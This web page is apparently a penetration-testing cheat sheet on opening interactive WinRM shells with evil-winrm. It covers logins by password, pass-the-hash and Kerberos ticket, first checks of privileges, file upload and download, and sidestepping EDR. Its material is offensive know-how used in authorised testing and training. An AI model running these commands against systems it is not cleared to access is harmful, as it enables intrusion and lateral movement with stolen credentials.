Skip to content
HackIndex logo

HackIndex

WinRM Interactive Shell Access

4 min read Mar 29, 2026

Once creds validate, the fastest way to turn that into operator access is an interactive PSRP session. You’re aiming for a stable PowerShell prompt and quick confirmation of who you are, where you landed, and what’s blocked.

evil-winrm with password

HTTP 5985 default:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
Explain command
-i Specifies the target IP address to connect to
$TARGET_IP Placeholder for the target IP address
-u Specifies the username for authentication
$USER Placeholder for the username
-p Specifies the password for authentication
$PASSWORD Placeholder for the password

Domain format when needed:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u "$DOMAIN\\$USER" -p $PASSWORD
Explain command
-i Specifies the target IP address to connect to
$TARGET_IP Variable placeholder for the target IP address
-u Specifies the username for authentication
$DOMAIN\$USER Variable placeholder for domain-qualified username
-p Specifies the password for authentication
$PASSWORD Variable placeholder for the user password

Local account format:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u ".\\$USER" -p $PASSWORD 
*Evil-WinRM* PS C:\Users\...\Documents>
Explain command
-i $TARGET_IP Specifies the target IP address to connect to.
-u ".\$USER" Specifies the username with domain prefix for authentication.
-p $PASSWORD Specifies the password for authentication.

HTTPS and non-standard ports

If WinRM is exposed on 5986:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S
Explain command
-i $TARGET_IP Target IP address to connect to
-u $USER Username for authentication
-p $PASSWORD Password for authentication
-S Use SSL/TLS for secure connection

Custom port:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -P $PORT
Explain command
-i Specify target IP address
$TARGET_IP Target IP address variable
-u Specify username for authentication
$USER Username variable
-p Specify password for authentication
$PASSWORD Password variable
-P Specify WinRM port number
$PORT Port number variable

If the endpoint is not /wsman:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -U /wsman
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-p $PASSWORD Specifies the password for authentication
-U /wsman Specifies the URI path for WinRM connection

Pass-the-hash shell

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H <NTHASH>
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-H <NTHASH> Specifies the NTLM hash for pass-the-hash authentication

Over HTTPS:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H <NTHASH> -S
Explain command
-i $TARGET_IP Specifies the target IP address to connect to
-u $USER Specifies the username for authentication
-H <NTHASH> Specifies the NTLM hash for pass-the-hash authentication
-S Enables SSL/TLS encryption for the connection

Kerberos ticket shell

Kerberos works best when -i is a hostname or FQDN. If you only have an IP, swap $TARGET_IP for the known FQDN.

Using a ticket file:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -r $DOMAIN -K /path/to/ticket.ccache
Explain command
-i Specifies the target IP address to connect to
$TARGET_IP Variable placeholder for the target IP address
-r Specifies the domain name for authentication
$DOMAIN Variable placeholder for the domain name
-K Specifies the Kerberos ticket file (ccache) for authentication
/path/to/ticket.ccache Path to the Kerberos credential cache file

First commands to confirm session quality

Run these immediately to confirm identity, privilege level, and whether the session is constrained:

PS C:\Users\Guest\Desktop> whoami
PS C:\Users\Guest\Desktop> hostname
PS C:\Users\Guest\Desktop> $ExecutionContext.SessionState.LanguageMode
PS C:\Users\Guest\Desktop> whoami /groups
PS C:\Users\Guest\Desktop> whoami /priv
Explain command
/groups Display all group memberships for the current user
/priv Display all privileges assigned to the current user

What changes your next move:

  • LanguageMode is ConstrainedLanguage: expect missing .NET-heavy tooling and script friction. Lean on built-in binaries and simple PowerShell.

  • Groups show local admin but whoami /priv is thin: likely UAC filtering. Plan for local escalation instead of assuming full token rights.

File transfer in-session

Evil-WinRM has built-in upload and download commands (run them at the Evil-WinRM prompt, not inside PowerShell):

C:\Users\Guest\Desktop> upload /absolute/path/local.file
C:\Users\Guest\Desktop> upload /absolute/path/local.file C:\Windows\Temp\remote.file
 
C:\Users\Guest\Desktop> download C:\Windows\Temp\remote.file
C:\Users\Guest\Desktop> download C:\Windows\Temp\remote.file /absolute/path/local.file

If upload works but execution is blocked, you’re dealing with policy or EDR behavior. Switch to living-off-the-land execution patterns instead of fighting the client.

Common failure modes you’ll actually see

Auth succeeds elsewhere but Evil-WinRM won’t open a shell

If you’re certain creds are valid, but the session fails immediately, the account may not be allowed to open a WinRM session (policy or endpoint restrictions). Validate with a straight WinRM auth check first, then pivot to another remote exec path if WinRM is “auth-only” for that user.

SSL handshakes and cert noise on 5986

Use -S. Don’t waste time fixing cert trust during a pentest unless Kerberos name matching is the real blocker.

Endpoint mismatch

If your earlier probing showed a non-default path, set -U to match the working endpoint.

Variant: native PowerShell Enter-PSSession from Windows

Useful when you’re already operating from a Windows host and want native remoting instead of Evil-WinRM.

PS C:\Users\Guest\Desktop> $secpass = ConvertTo-SecureString $PASSWORD -AsPlainText -Force
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", $secpass)
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_IP -Credential $cred

References